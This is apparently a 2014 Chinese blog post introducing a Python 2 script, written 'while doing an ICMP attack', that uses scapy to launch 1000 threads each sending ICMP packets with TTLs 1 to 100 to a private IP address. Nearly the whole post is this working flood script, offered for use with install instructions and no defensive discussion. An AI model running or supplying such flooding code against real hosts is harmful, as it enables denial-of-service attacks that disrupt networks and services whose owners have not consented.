(Python)scapy——多线程发送icmp数据包

做icmp攻击时,先用Python写了发送数据包的函数。

发送数据包用的是scapy模块,需要先安装:apt-get install python-scapy

'''
date:2014/12/3
author:yss
function:send packets from host to server with multithreading
'''
import threading
from time import sleep,ctime
from scapy.all import *

num=1000#the number of the thread
class MyThread(threading.Thread):
    def __init__(self,func,args,name=''):
        threading.Thread.__init__(self)
        self.name=name
        self.func=func
        self.args=args

    def run(self):
        apply(self.func,self.args)


def send_packet():
    send(IP(dst='192.168.85.132',ttl=(1,100))/ICMP())#each thread send 100 packets

def main():
    print 'starting at:',ctime()
    threads=[]        #deposit thresds
    #nloops=range(len(loops))

    for i in range(num):    #create an instance of an object
        t=MyThread(send_packet,(),send_packet.__name__)
        threads.append(t)

    for i in range(num):    #start threads
        threads[i].start()

    for i in range(num):    #wait for all
        threads[i].join()#threads to finish

    print 'all done at:',ctime()

if __name__ == '__main__':
    main()

 

posted @ 2014-12-21 14:59  云裳诉  阅读(3500)  评论(0编辑  收藏  举报